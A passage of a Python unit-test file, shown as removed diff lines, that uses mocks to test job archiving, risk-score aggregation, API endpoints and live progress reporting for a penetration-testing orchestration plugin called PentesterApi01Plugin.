{}, - }) - plugin._normalize_job_record = MagicMock(return_value=(job_specs["job_id"], job_specs)) - plugin._get_job_config = MagicMock(return_value={"target": "example.com"}) - plugin._compute_risk_and_findings = MagicMock(return_value=({"score": 42, "breakdown": {"findings_score": 30}}, [])) - plugin._submit_redmesh_test_attestation = MagicMock(return_value=None) - plugin._get_timeline_date = MagicMock(return_value=1000000.0) - plugin._emit_timeline_event = MagicMock() - - PentesterApi01Plugin._maybe_finalize_pass(plugin) - - # CStore risk_score updated - self.assertEqual(job_specs["risk_score"], 42) - - # PassReportRef in pass_reports has same risk_score - self.assertEqual(len(job_specs["pass_reports"]), 1) - ref = job_specs["pass_reports"][0] - self.assertEqual(ref["risk_score"], 42) - self.assertIn("report_cid", ref) - self.assertEqual(ref["pass_nr"], 1) - - -class TestPhase4UiAggregate(unittest.TestCase): - """Phase 4: UI Aggregate Computation.""" - - @classmethod - def _mock_plugin_modules(cls): - if 'extensions.business.cybersec.red_mesh.pentester_api_01' in sys.modules: - return - TestPhase1ConfigCID._mock_plugin_modules() - - def _get_plugin_class(self): - self._mock_plugin_modules() - from extensions.business.cybersec.red_mesh.pentester_api_01 import PentesterApi01Plugin - return PentesterApi01Plugin - - def _make_plugin(self): - plugin = MagicMock() - Plugin = self._get_plugin_class() - plugin._count_services = lambda si: Plugin._count_services(plugin, si) - plugin._compute_ui_aggregate = lambda passes, agg: Plugin._compute_ui_aggregate(plugin, passes, agg) - plugin.SEVERITY_ORDER = Plugin.SEVERITY_ORDER - plugin.CONFIDENCE_ORDER = Plugin.CONFIDENCE_ORDER - return plugin, Plugin - - def _make_finding(self, severity="HIGH", confidence="firm", finding_id="abc123", title="Test"): - return {"finding_id": finding_id, "severity": severity, "confidence": confidence, "title": title} - - def _make_pass(self, pass_nr=1, findings=None, risk_score=0, worker_reports=None): - return { - "pass_nr": pass_nr, - "risk_score": risk_score, - "risk_breakdown": {"findings_score": 10}, - "quick_summary": "Summary text", - "findings": findings, - "worker_reports": worker_reports or { - "w1": {"start_port": 1, "end_port": 512, "open_ports": [80]}, - }, - } - - def _make_aggregated(self, open_ports=None, service_info=None): - return { - "open_ports": open_ports or [80, 443], - "service_info": service_info or { - "80": {"_service_info_http": {"findings": []}}, - "443": {"_service_info_https": {"findings": []}}, - }, - } - - def test_findings_count_uppercase_keys(self): - """findings_count keys are UPPERCASE.""" - plugin, _ = self._make_plugin() - findings = [ - self._make_finding(severity="CRITICAL", finding_id="f1"), - self._make_finding(severity="HIGH", finding_id="f2"), - self._make_finding(severity="HIGH", finding_id="f3"), - self._make_finding(severity="MEDIUM", finding_id="f4"), - ] - p = self._make_pass(findings=findings) - agg = self._make_aggregated() - result = plugin._compute_ui_aggregate([p], agg) - fc = result.to_dict()["findings_count"] - self.assertEqual(fc["CRITICAL"], 1) - self.assertEqual(fc["HIGH"], 2) - self.assertEqual(fc["MEDIUM"], 1) - for key in fc: - self.assertEqual(key, key.upper()) - - def test_top_findings_max_10(self): - """More than 10 CRITICAL+HIGH -> capped at 10.""" - plugin, _ = self._make_plugin() - findings = [self._make_finding(severity="CRITICAL", finding_id=f"f{i}") for i in range(15)] - p = self._make_pass(findings=findings) - agg = self._make_aggregated() - result = plugin._compute_ui_aggregate([p], agg) - self.assertEqual(len(result.to_dict()["top_findings"]), 10) - - def test_top_findings_sorted(self): - """CRITICAL before HIGH, within same severity sorted by confidence.""" - plugin, _ = self._make_plugin() - findings = [ - self._make_finding(severity="HIGH", confidence="certain", finding_id="f1", title="H-certain"), - self._make_finding(severity="CRITICAL", confidence="tentative", finding_id="f2", title="C-tentative"), - self._make_finding(severity="HIGH", confidence="tentative", finding_id="f3", title="H-tentative"), - self._make_finding(severity="CRITICAL", confidence="certain", finding_id="f4", title="C-certain"), - ] - p = self._make_pass(findings=findings) - agg = self._make_aggregated() - result = plugin._compute_ui_aggregate([p], agg) - top = result.to_dict()["top_findings"] - self.assertEqual(top[0]["title"], "C-certain") - self.assertEqual(top[1]["title"], "C-tentative") - self.assertEqual(top[2]["title"], "H-certain") - self.assertEqual(top[3]["title"], "H-tentative") - - def test_top_findings_excludes_medium(self): - """MEDIUM/LOW/INFO findings never in top_findings.""" - plugin, _ = self._make_plugin() - findings = [ - self._make_finding(severity="MEDIUM", finding_id="f1"), - self._make_finding(severity="LOW", finding_id="f2"), - self._make_finding(severity="INFO", finding_id="f3"), - ] - p = self._make_pass(findings=findings) - agg = self._make_aggregated() - result = plugin._compute_ui_aggregate([p], agg) - d = result.to_dict() - self.assertNotIn("top_findings", d) # stripped by _strip_none (None) - - def test_finding_timeline_single_pass(self): - """1 pass -> finding_timeline is None (stripped).""" - plugin, _ = self._make_plugin() - p = self._make_pass(findings=[]) - agg = self._make_aggregated() - result = plugin._compute_ui_aggregate([p], agg) - d = result.to_dict() - self.assertNotIn("finding_timeline", d) # None → stripped - - def test_finding_timeline_multi_pass(self): - """3 passes with overlapping findings -> correct first_seen, last_seen, pass_count.""" - plugin, _ = self._make_plugin() - f_persistent = self._make_finding(finding_id="persist1") - f_transient = self._make_finding(finding_id="transient1") - f_new = self._make_finding(finding_id="new1") - passes = [ - self._make_pass(pass_nr=1, findings=[f_persistent, f_transient]), - self._make_pass(pass_nr=2, findings=[f_persistent]), - self._make_pass(pass_nr=3, findings=[f_persistent, f_new]), - ] - agg = self._make_aggregated() - result = plugin._compute_ui_aggregate(passes, agg) - ft = result.to_dict()["finding_timeline"] - self.assertEqual(ft["persist1"]["first_seen"], 1) - self.assertEqual(ft["persist1"]["last_seen"], 3) - self.assertEqual(ft["persist1"]["pass_count"], 3) - self.assertEqual(ft["transient1"]["first_seen"], 1) - self.assertEqual(ft["transient1"]["last_seen"], 1) - self.assertEqual(ft["transient1"]["pass_count"], 1) - self.assertEqual(ft["new1"]["first_seen"], 3) - self.assertEqual(ft["new1"]["last_seen"], 3) - self.assertEqual(ft["new1"]["pass_count"], 1) - - def test_zero_findings(self): - """findings_count is {}, top_findings is [], total_findings is 0.""" - plugin, _ = self._make_plugin() - p = self._make_pass(findings=[]) - agg = self._make_aggregated() - result = plugin._compute_ui_aggregate([p], agg) - d = result.to_dict() - self.assertEqual(d["total_findings"], 0) - # findings_count and top_findings are None (stripped) when empty - self.assertNotIn("findings_count", d) - self.assertNotIn("top_findings", d) - - def test_open_ports_sorted_unique(self): - """total_open_ports is deduped and sorted.""" - plugin, _ = self._make_plugin() - p = self._make_pass(findings=[]) - agg = self._make_aggregated(open_ports=[443, 80, 443, 22, 80]) - result = plugin._compute_ui_aggregate([p], agg) - self.assertEqual(result.to_dict()["total_open_ports"], [22, 80, 443]) - - def test_count_services(self): - """_count_services counts ports with at least one detected service.""" - plugin, _ = self._make_plugin() - service_info = { - "80": {"_service_info_http": {}, "_web_test_xss": {}}, - "443": {"_service_info_https": {}, "_service_info_http": {}}, - } - self.assertEqual(plugin._count_services(service_info), 2) - self.assertEqual(plugin._count_services({}), 0) - self.assertEqual(plugin._count_services(None), 0) - - -class TestPhase3Archive(unittest.TestCase): - """Phase 3: Job Close & Archive.""" - - @classmethod - def _mock_plugin_modules(cls): - if 'extensions.business.cybersec.red_mesh.pentester_api_01' in sys.modules: - return - TestPhase1ConfigCID._mock_plugin_modules() - - def _get_plugin_class(self): - self._mock_plugin_modules() - from extensions.business.cybersec.red_mesh.pentester_api_01 import PentesterApi01Plugin - return PentesterApi01Plugin - - def _build_archive_plugin(self, job_id="test-job", pass_count=1, run_mode="SINGLEPASS", - job_status="FINALIZED", r1fs_write_fail=False, r1fs_verify_fail=False): - """Build a mock plugin pre-configured for _build_job_archive testing.""" - plugin = MagicMock() - plugin.ee_addr = "launcher-node" - plugin.ee_id = "launcher-alias" - plugin.cfg_instance_id = "test-instance" - plugin.time.return_value = 1000200.0 - plugin.json_dumps.return_value = "{}" - - # R1FS mock - plugin.r1fs = MagicMock() - - # Build pass report dicts and refs - pass_reports_data = [] - pass_report_refs = [] - for i in range(1, pass_count + 1): - pr = { - "pass_nr": i, - "date_started": 1000000.0 + (i - 1) * 100, - "date_completed": 1000000.0 + i * 100, - "duration": 100.0, - "aggregated_report_cid": f"QmAgg{i}", - "worker_reports": { - "worker-A": {"report_cid": f"QmWorker{i}A", "start_port": 1, "end_port": 512, "ports_scanned": 512, "open_ports": [80], "nr_findings": 2}, - }, - "risk_score": 25 + i, - "risk_breakdown": {"findings_score": 10}, - "findings": [ - {"finding_id": f"f{i}a", "severity": "HIGH", "confidence": "firm", "title": f"Finding {i}A"}, - {"finding_id": f"f{i}b", "severity": "MEDIUM", "confidence": "firm", "title": f"Finding {i}B"}, - ], - "quick_summary": f"Summary for pass {i}", - } - pass_reports_data.append(pr) - pass_report_refs.append({"pass_nr": i, "report_cid": f"QmPassReport{i}", "risk_score": 25 + i}) - - # Job config - job_config = { - "target": "example.com", "start_port": 1, "end_port": 1024, - "run_mode": run_mode, "enabled_features": [], - } - - # Latest aggregated data - latest_aggregated = { - "open_ports": [80, 443], "service_info": {"80": {"_service_info_http": {}}}, - "web_tests_info": {}, "completed_tests": ["port_scan"], "ports_scanned": 1024, - } - - # R1FS get_json: return the right data for each CID - cid_map = {"QmConfigCID": job_config} - for i, pr in enumerate(pass_reports_data): - cid_map[f"QmPassReport{i+1}"] = pr - cid_map[f"QmAgg{i+1}"] = latest_aggregated - - if r1fs_write_fail: - plugin.r1fs.add_json.return_value = None - else: - archive_cid = "QmArchiveCID" - plugin.r1fs.add_json.return_value = archive_cid - if r1fs_verify_fail: - # add_json succeeds but get_json for the archive CID returns None - orig_map = dict(cid_map) - def verify_fail_get(cid): - if cid == archive_cid: - return None - return orig_map.get(cid) - plugin.r1fs.get_json.side_effect = verify_fail_get - else: - # Verification succeeds — archive CID also returns data - cid_map[archive_cid] = {"job_id": job_id} # minimal archive for verification - plugin.r1fs.get_json.side_effect = lambda cid: cid_map.get(cid) - - if not r1fs_write_fail and not r1fs_verify_fail: - plugin.r1fs.get_json.side_effect = lambda cid: cid_map.get(cid) - - # Job specs (running state) - job_specs = { - "job_id": job_id, - "job_status": job_status, - "job_pass": pass_count, - "run_mode": run_mode, - "launcher": "launcher-node", - "launcher_alias": "launcher-alias", - "target": "example.com", - "task_name": "Test", - "start_port": 1, - "end_port": 1024, - "date_created": 1000000.0, - "risk_score": 25 + pass_count, - "job_config_cid": "QmConfigCID", - "workers": { - "worker-A": {"start_port": 1, "end_port": 512, "finished": True, "report_cid": "QmReportA"}, - }, - "timeline": [ - {"type": "created", "label": "Created", "date": 1000000.0, "actor": "launcher-alias", "actor_type": "system", "meta": {}}, - ], - "pass_reports": pass_report_refs, - } - - plugin.chainstore_hset = MagicMock() - - # Bind real methods for archive building - Plugin = self._get_plugin_class() - plugin._compute_ui_aggregate = lambda passes, agg: Plugin._compute_ui_aggregate(plugin, passes, agg) - plugin._count_services = lambda si: Plugin._count_services(plugin, si) - plugin.SEVERITY_ORDER = Plugin.SEVERITY_ORDER - plugin.CONFIDENCE_ORDER = Plugin.CONFIDENCE_ORDER - - return plugin, job_specs, pass_reports_data, job_config - - def test_archive_written_to_r1fs(self): - """Archive stored in R1FS with job_id, job_config, passes, ui_aggregate.""" - Plugin = self._get_plugin_class() - plugin, job_specs, _, job_config = self._build_archive_plugin() - - Plugin._build_job_archive(plugin, "test-job", job_specs) - - # r1fs.add_json called with archive dict - self.assertTrue(plugin.r1fs.add_json.called) - archive_dict = plugin.r1fs.add_json.call_args[0][0] - self.assertEqual(archive_dict["job_id"], "test-job") - self.assertEqual(archive_dict["job_config"]["target"], "example.com") - self.assertEqual(len(archive_dict["passes"]), 1) - self.assertIn("ui_aggregate", archive_dict) - self.assertIn("total_open_ports", archive_dict["ui_aggregate"]) - - def test_archive_duration_computed(self): - """duration == date_completed - date_created, not 0.""" - Plugin = self._get_plugin_class() - plugin, job_specs, _, _ = self._build_archive_plugin() - - Plugin._build_job_archive(plugin, "test-job", job_specs) - - archive_dict = plugin.r1fs.add_json.call_args[0][0] - # date_created=1000000, time()=1000200 → duration=200 - self.assertEqual(archive_dict["duration"], 200.0) - self.assertGreater(archive_dict["duration"], 0) - - def test_stub_has_job_cid_and_config_cid(self): - """After prune, CStore stub has job_cid and job_config_cid.""" - Plugin = self._get_plugin_class() - plugin, job_specs, _, _ = self._build_archive_plugin() - - Plugin._build_job_archive(plugin, "test-job", job_specs) - - # Extract the stub written to CStore - hset_call = plugin.chainstore_hset.call_args - stub = hset_call[1]["value"] - self.assertEqual(stub["job_cid"], "QmArchiveCID") - self.assertEqual(stub["job_config_cid"], "QmConfigCID") - - def test_stub_fields_match_model(self): - """Stub has exactly CStoreJobFinalized fields.""" - from extensions.business.cybersec.red_mesh.models import CStoreJobFinalized - Plugin = self._get_plugin_class() - plugin, job_specs, _, _ = self._build_archive_plugin() - - Plugin._build_job_archive(plugin, "test-job", job_specs) - - stub = plugin.chainstore_hset.call_args[1]["value"] - # Verify it can be loaded into CStoreJobFinalized - finalized = CStoreJobFinalized.from_dict(stub) - self.assertEqual(finalized.job_id, "test-job") - self.assertEqual(finalized.job_status, "FINALIZED") - self.assertEqual(finalized.target, "example.com") - self.assertEqual(finalized.pass_count, 1) - self.assertEqual(finalized.worker_count, 1) - self.assertEqual(finalized.start_port, 1) - self.assertEqual(finalized.end_port, 1024) - self.assertGreater(finalized.duration, 0) - - def test_pass_report_cids_cleaned_up(self): - """After archive, individual pass CIDs deleted from R1FS.""" - Plugin = self._get_plugin_class() - plugin, job_specs, _, _ = self._build_archive_plugin() - - Plugin._build_job_archive(plugin, "test-job", job_specs) - - # Check delete_file was called for pass report CID - delete_calls = [c[0][0] for c in plugin.r1fs.delete_file.call_args_list] - self.assertIn("QmPassReport1", delete_calls) - - def test_node_report_cids_preserved(self): - """Worker report CIDs NOT deleted.""" - Plugin = self._get_plugin_class() - plugin, job_specs, _, _ = self._build_archive_plugin() - - Plugin._build_job_archive(plugin, "test-job", job_specs) - - delete_calls = [c[0][0] for c in plugin.r1fs.delete_file.call_args_list] - self.assertNotIn("QmWorker1A", delete_calls) - - def test_aggregated_report_cids_preserved(self): - """aggregated_report_cid per pass NOT deleted.""" - Plugin = self._get_plugin_class() - plugin, job_specs, _, _ = self._build_archive_plugin() - - Plugin._build_job_archive(plugin, "test-job", job_specs) - - delete_calls = [c[0][0] for c in plugin.r1fs.delete_file.call_args_list] - self.assertNotIn("QmAgg1", delete_calls) - - def test_archive_write_failure_no_prune(self): - """R1FS write fails -> CStore untouched, full running state retained.""" - Plugin = self._get_plugin_class() - plugin, job_specs, _, _ = self._build_archive_plugin(r1fs_write_fail=True) - - Plugin._build_job_archive(plugin, "test-job", job_specs) - - # CStore should NOT have been pruned - plugin.chainstore_hset.assert_not_called() - # pass_reports still present in job_specs - self.assertEqual(len(job_specs["pass_reports"]), 1) - - def test_archive_verify_failure_no_prune(self): - """CID not retrievable -> CStore untouched.""" - Plugin = self._get_plugin_class() - plugin, job_specs, _, _ = self._build_archive_plugin(r1fs_verify_fail=True) - - Plugin._build_job_archive(plugin, "test-job", job_specs) - - plugin.chainstore_hset.assert_not_called() - - def test_stuck_recovery(self): - """FINALIZED without job_cid -> _build_job_archive retried via _maybe_finalize_pass.""" - Plugin = self._get_plugin_class() - plugin, job_specs, _, _ = self._build_archive_plugin(job_status="FINALIZED") - # Simulate stuck state: FINALIZED but no job_cid - job_specs["job_status"] = "FINALIZED" - # No job_cid in specs - - plugin.chainstore_hgetall.return_value = {"test-job": job_specs} - plugin._normalize_job_record = MagicMock(return_value=("test-job", job_specs)) - plugin._build_job_archive = MagicMock() - - Plugin._maybe_finalize_pass(plugin) - - plugin._build_job_archive.assert_called_once_with("test-job", job_specs) - - def test_idempotent_rebuild(self): - """Calling _build_job_archive twice doesn't corrupt state.""" - Plugin = self._get_plugin_class() - plugin, job_specs, _, _ = self._build_archive_plugin() - - Plugin._build_job_archive(plugin, "test-job", job_specs) - first_stub = plugin.chainstore_hset.call_args[1]["value"] - - # Reset and call again (simulating a retry where data is still available) - plugin.chainstore_hset.reset_mock() - plugin.r1fs.add_json.reset_mock() - new_archive_cid = "QmArchiveCID2" - plugin.r1fs.add_json.return_value = new_archive_cid - - # Update get_json to also return data for the new archive CID - orig_side_effect = plugin.r1fs.get_json.side_effect - def extended_get(cid): - if cid == new_archive_cid: - return {"job_id": "test-job"} - return orig_side_effect(cid) - plugin.r1fs.get_json.side_effect = extended_get - - Plugin._build_job_archive(plugin, "test-job", job_specs) - - second_stub = plugin.chainstore_hset.call_args[1]["value"] - # Both produce valid stubs - self.assertEqual(first_stub["job_id"], second_stub["job_id"]) - self.assertEqual(first_stub["pass_count"], second_stub["pass_count"]) - - def test_multipass_archive(self): - """Archive with 3 passes contains all pass data.""" - Plugin = self._get_plugin_class() - plugin, job_specs, _, _ = self._build_archive_plugin(pass_count=3, run_mode="CONTINUOUS_MONITORING", job_status="STOPPED") - - Plugin._build_job_archive(plugin, "test-job", job_specs) - - archive_dict = plugin.r1fs.add_json.call_args[0][0] - self.assertEqual(len(archive_dict["passes"]), 3) - self.assertEqual(archive_dict["passes"][0]["pass_nr"], 1) - self.assertEqual(archive_dict["passes"][2]["pass_nr"], 3) - stub = plugin.chainstore_hset.call_args[1]["value"] - self.assertEqual(stub["pass_count"], 3) - self.assertEqual(stub["job_status"], "STOPPED") - - -class TestPhase5Endpoints(unittest.TestCase): - """Phase 5: API Endpoints.""" - - @classmethod - def _mock_plugin_modules(cls): - if 'extensions.business.cybersec.red_mesh.pentester_api_01' in sys.modules: - return - TestPhase1ConfigCID._mock_plugin_modules() - - def _get_plugin_class(self): - self._mock_plugin_modules() - from extensions.business.cybersec.red_mesh.pentester_api_01 import PentesterApi01Plugin - return PentesterApi01Plugin - - def _build_finalized_stub(self, job_id="test-job"): - """Build a CStoreJobFinalized-shaped dict.""" - return { - "job_id": job_id, - "job_status": "FINALIZED", - "target": "example.com", - "task_name": "Test", - "risk_score": 42, - "run_mode": "SINGLEPASS", - "duration": 200.0, - "pass_count": 1, - "launcher": "launcher-node", - "launcher_alias": "launcher-alias", - "worker_count": 2, - "start_port": 1, - "end_port": 1024, - "date_created": 1000000.0, - "date_completed": 1000200.0, - "job_cid": "QmArchiveCID", - "job_config_cid": "QmConfigCID", - } - - def _build_running_job(self, job_id="run-job", pass_count=8): - """Build a running job dict with N pass_reports.""" - pass_reports = [ - {"pass_nr": i, "report_cid": f"QmPass{i}", "risk_score": 10 + i} - for i in range(1, pass_count + 1) - ] - return { - "job_id": job_id, - "job_status": "RUNNING", - "job_pass": pass_count, - "run_mode": "CONTINUOUS_MONITORING", - "launcher": "launcher-node", - "launcher_alias": "launcher-alias", - "target": "example.com", - "task_name": "Continuous Test", - "start_port": 1, - "end_port": 1024, - "date_created": 1000000.0, - "risk_score": 18, - "job_config_cid": "QmConfigCID", - "workers": { - "worker-A": {"start_port": 1, "end_port": 512, "finished": False}, - "worker-B": {"start_port": 513, "end_port": 1024, "finished": False}, - }, - "timeline": [ - {"type": "created", "label": "Created", "date": 1000000.0, "actor": "launcher", "actor_type": "system", "meta": {}}, - {"type": "started", "label": "Started", "date": 1000001.0, "actor": "launcher", "actor_type": "system", "meta": {}}, - ], - "pass_reports": pass_reports, - } - - def _build_plugin(self, jobs_dict): - """Build a mock plugin with given jobs in CStore.""" - Plugin = self._get_plugin_class() - plugin = MagicMock() - plugin.ee_addr = "launcher-node" - plugin.ee_id = "launcher-alias" - plugin.cfg_instance_id = "test-instance" - plugin.r1fs = MagicMock() - - plugin.chainstore_hgetall.return_value = dict(jobs_dict) - plugin.chainstore_hget.side_effect = lambda hkey, key: jobs_dict.get(key) - plugin._normalize_job_record = MagicMock( - side_effect=lambda k, v: (k, v) if isinstance(v, dict) and v.get("job_id") else (None, None) - ) - - # Bind real methods so endpoint logic executes properly - plugin._get_all_network_jobs = lambda: Plugin._get_all_network_jobs(plugin) - plugin._get_job_from_cstore = lambda job_id: Plugin._get_job_from_cstore(plugin, job_id) - return plugin - - def test_get_job_archive_finalized(self): - """get_job_archive for finalized job returns archive with matching job_id.""" - Plugin = self._get_plugin_class() - stub = self._build_finalized_stub("fin-job") - plugin = self._build_plugin({"fin-job": stub}) - - archive_data = {"job_id": "fin-job", "passes": [], "ui_aggregate": {}} - plugin.r1fs.get_json.return_value = archive_data - - result = Plugin.get_job_archive(plugin, job_id="fin-job") - self.assertEqual(result["job_id"], "fin-job") - self.assertEqual(result["archive"]["job_id"], "fin-job") - - def test_get_job_archive_running(self): - """get_job_archive for running job returns not_available error.""" - Plugin = self._get_plugin_class() - running = self._build_running_job("run-job", pass_count=2) - plugin = self._build_plugin({"run-job": running}) - - result = Plugin.get_job_archive(plugin, job_id="run-job") - self.assertEqual(result["error"], "not_available") - - def test_get_job_archive_integrity_mismatch(self): - """Corrupted job_cid pointing to wrong archive is rejected.""" - Plugin = self._get_plugin_class() - stub = self._build_finalized_stub("fin-job") - plugin = self._build_plugin({"fin-job": stub}) - - # Archive has a different job_id - plugin.r1fs.get_json.return_value = {"job_id": "other-job", "passes": []} - - result = Plugin.get_job_archive(plugin, job_id="fin-job") - self.assertEqual(result["error"], "integrity_mismatch") - - def test_get_job_data_running_last_5(self): - """Running job with 8 passes returns last 5 refs only.""" - Plugin = self._get_plugin_class() - running = self._build_running_job("run-job", pass_count=8) - plugin = self._build_plugin({"run-job": running}) - - result = Plugin.get_job_data(plugin, job_id="run-job") - self.assertTrue(result["found"]) - refs = result["job"]["pass_reports"] - self.assertEqual(len(refs), 5) - # Should be the last 5 (pass_nr 4-8) - self.assertEqual(refs[0]["pass_nr"], 4) - self.assertEqual(refs[-1]["pass_nr"], 8) - - def test_get_job_data_finalized_returns_stub(self): - """Finalized job returns stub as-is with job_cid.""" - Plugin = self._get_plugin_class() - stub = self._build_finalized_stub("fin-job") - plugin = self._build_plugin({"fin-job": stub}) - - result = Plugin.get_job_data(plugin, job_id="fin-job") - self.assertTrue(result["found"]) - self.assertEqual(result["job"]["job_cid"], "QmArchiveCID") - self.assertEqual(result["job"]["pass_count"], 1) - - def test_list_jobs_finalized_as_is(self): - """Finalized stubs returned unmodified with all CStoreJobFinalized fields.""" - Plugin = self._get_plugin_class() - stub = self._build_finalized_stub("fin-job") - plugin = self._build_plugin({"fin-job": stub}) - - result = Plugin.list_network_jobs(plugin) - self.assertIn("fin-job", result) - job = result["fin-job"] - self.assertEqual(job["job_cid"], "QmArchiveCID") - self.assertEqual(job["pass_count"], 1) - self.assertEqual(job["worker_count"], 2) - self.assertEqual(job["risk_score"], 42) - self.assertEqual(job["duration"], 200.0) - - def test_list_jobs_running_stripped(self): - """Running jobs have counts but no timeline, workers, or pass_reports.""" - Plugin = self._get_plugin_class() - running = self._build_running_job("run-job", pass_count=3) - plugin = self._build_plugin({"run-job": running}) - - result = Plugin.list_network_jobs(plugin) - self.assertIn("run-job", result) - job = result["run-job"] - # Should have counts - self.assertEqual(job["pass_count"], 3) - self.assertEqual(job["worker_count"], 2) - # Should NOT have heavy fields - self.assertNotIn("timeline", job) - self.assertNotIn("workers", job) - self.assertNotIn("pass_reports", job) - - def test_get_job_archive_not_found(self): - """get_job_archive for non-existent job returns not_found.""" - Plugin = self._get_plugin_class() - plugin = self._build_plugin({}) - - result = Plugin.get_job_archive(plugin, job_id="missing-job") - self.assertEqual(result["error"], "not_found") - - def test_get_job_archive_r1fs_failure(self): - """get_job_archive when R1FS fails returns fetch_failed.""" - Plugin = self._get_plugin_class() - stub = self._build_finalized_stub("fin-job") - plugin = self._build_plugin({"fin-job": stub}) - plugin.r1fs.get_json.return_value = None - - result = Plugin.get_job_archive(plugin, job_id="fin-job") - self.assertEqual(result["error"], "fetch_failed") - - -class TestPhase12LiveProgress(unittest.TestCase): - """Phase 12: Live Worker Progress.""" - - @classmethod - def _mock_plugin_modules(cls): - if 'extensions.business.cybersec.red_mesh.pentester_api_01' in sys.modules: - return - TestPhase1ConfigCID._mock_plugin_modules() - - def _get_plugin_class(self): - self._mock_plugin_modules() - from extensions.business.cybersec.red_mesh.pentester_api_01 import PentesterApi01Plugin - return PentesterApi01Plugin - - def test_worker_progress_model_roundtrip(self): - """WorkerProgress.from_dict(wp.to_dict()) preserves all fields.""" - from extensions.business.cybersec.red_mesh.models import WorkerProgress - wp = WorkerProgress( - job_id="job-1", - worker_addr="0xWorkerA", - pass_nr=2, - progress=45.5, - phase="service_probes", - ports_scanned=500, - ports_total=1024, - open_ports_found=[22, 80, 443], - completed_tests=["fingerprint_completed", "service_info_completed"], - updated_at=1700000000.0, - live_metrics={"total_duration": 30.5}, - ) - d = wp.to_dict() - wp2 = WorkerProgress.from_dict(d) - self.assertEqual(wp2.job_id, "job-1") - self.assertEqual(wp2.worker_addr, "0xWorkerA") - self.assertEqual(wp2.pass_nr, 2) - self.assertAlmostEqual(wp2.progress, 45.5) - self.assertEqual(wp2.phase, "service_probes") - self.assertEqual(wp2.ports_scanned, 500) - self.assertEqual(wp2.ports_total, 1024) - self.assertEqual(wp2.open_ports_found, [22, 80, 443]) - self.assertEqual(wp2.completed_tests, ["fingerprint_completed", "service_info_completed"]) - self.assertEqual(wp2.updated_at, 1700000000.0) - self.assertEqual(wp2.live_metrics, {"total_duration": 30.5}) - - def test_get_job_progress_filters_by_job(self): - """get_job_progress returns only workers for the requested job.""" - Plugin = self._get_plugin_class() - plugin = MagicMock() - plugin.cfg_instance_id = "test-instance" - - # Simulate two jobs' progress in the :live hset - live_data = { - "job-A:worker-1": {"job_id": "job-A", "progress": 50}, - "job-A:worker-2": {"job_id": "job-A", "progress": 75}, - "job-B:worker-3": {"job_id": "job-B", "progress": 30}, - } - plugin.chainstore_hgetall.return_value = live_data - - result = Plugin.get_job_progress(plugin, job_id="job-A") - self.assertEqual(result["job_id"], "job-A") - self.assertEqual(len(result["workers"]), 2) - self.assertIn("worker-1", result["workers"]) - self.assertIn("worker-2", result["workers"]) - self.assertNotIn("worker-3", result["workers"]) - - def test_get_job_progress_empty(self): - """get_job_progress for non-existent job returns empty workers dict.""" - Plugin = self._get_plugin_class() - plugin = MagicMock() - plugin.cfg_instance_id = "test-instance" - plugin.chainstore_hgetall.return_value = {} - - result = Plugin.get_job_progress(plugin, job_id="nonexistent") - self.assertEqual(result["job_id"], "nonexistent") - self.assertEqual(result["workers"], {}) - - def test_publish_live_progress(self): - """_publish_live_progress writes stage-based progress to CStore :live hset.""" - Plugin = self._get_plugin_class() - plugin = MagicMock() - plugin.cfg_instance_id = "test-instance" - plugin.ee_addr = "node-A" - plugin._last_progress_publish = 0 - plugin.time.return_value = 100.0 - - # Mock a local worker with state (port scan partial + fingerprint done) - worker = MagicMock() - worker.state = { - "ports_scanned": list(range(100)), - "open_ports": [22, 80], - "completed_tests": ["fingerprint_completed"], - "done": False, - } - worker.initial_ports = list(range(1, 513)) - - plugin.scan_jobs = {"job-1": {"worker-thread-1": worker}} - - # Mock CStore lookup for pass_nr - plugin.chainstore_hget.return_value = {"job_pass": 3} - - Plugin._publish_live_progress(plugin) - - # Verify hset was called with correct key pattern - plugin.chainstore_hset.assert_called_once() - call_args = plugin.chainstore_hset.call_args - self.assertEqual(call_args.kwargs["hkey"], "test-instance:live") - self.assertEqual(call_args.kwargs["key"], "job-1:node-A") - progress_data = call_args.kwargs["value"] - self.assertEqual(progress_data["job_id"], "job-1") - self.assertEqual(progress_data["worker_addr"], "node-A") - self.assertEqual(progress_data["pass_nr"], 3) - self.assertEqual(progress_data["phase"], "service_probes") - self.assertEqual(progress_data["ports_scanned"], 100) - self.assertEqual(progress_data["ports_total"], 512) - self.assertIn(22, progress_data["open_ports_found"]) - self.assertIn(80, progress_data["open_ports_found"]) - # Stage-based progress: service_probes = stage 3 (idx 2), so 2/5*100 = 40% - self.assertEqual(progress_data["progress"], 40.0) - # Single thread — no threads field - self.assertNotIn("threads", progress_data) - - def test_publish_live_progress_multi_thread_phase(self): - """Phase is the earliest active phase; per-thread data is included.""" - Plugin = self._get_plugin_class() - plugin = MagicMock() - plugin.cfg_instance_id = "test-instance" - plugin.ee_addr = "node-A" - plugin._last_progress_publish = 0 - plugin.time.return_value = 100.0 - - # Thread 1: fully done - worker1 = MagicMock() - worker1.state = { - "ports_scanned": list(range(256)), - "open_ports": [22], - "completed_tests": ["fingerprint_completed", "service_info_completed", "web_tests_completed", "correlation_completed"], - "done": True, - } - worker1.initial_ports = list(range(1, 257)) - - # Thread 2: still on port scan (50 of 256 ports) - worker2 = MagicMock() - worker2.state = { - "ports_scanned": list(range(50)), - "open_ports": [], - "completed_tests": [], - "done": False, - } - worker2.initial_ports = list(range(257, 513)) - - plugin.scan_jobs = {"job-1": {"t1": worker1, "t2": worker2}} - plugin.chainstore_hget.return_value = {"job_pass": 1} - - Plugin._publish_live_progress(plugin) - - call_args = plugin.chainstore_hset.call_args - progress_data = call_args.kwargs["value"] - # Phase should be port_scan (earliest across threads), not done - self.assertEqual(progress_data["phase"], "port_scan") - # Stage-based: port_scan (idx 0) + sub-progress (306/512 * 20%) = ~12% - self.assertGreater(progress_data["progress"], 10) - self.assertLess(progress_data["progress"], 15) - # Per-thread data should be present (2 threads) - self.assertIn("threads", progress_data) - self.assertEqual(progress_data["threads"]["t1"]["phase"], "done") - self.assertEqual(progress_data["threads"]["t2"]["phase"], "port_scan") - self.assertEqual(progress_data["threads"]["t2"]["ports_scanned"], 50) - self.assertEqual(progress_data["threads"]["t2"]["ports_total"], 256) - - def test_clear_live_progress(self): - """_clear_live_progress deletes progress keys for all workers.""" - Plugin = self._get_plugin_class() - plugin = MagicMock() - plugin.cfg_instance_id = "test-instance" - - Plugin._clear_live_progress(plugin, "job-1", ["worker-A", "worker-B"]) - - self.assertEqual(plugin.chainstore_hset.call_count, 2) - calls = plugin.chainstore_hset.call_args_list - keys_deleted = {c.kwargs["key"] for c 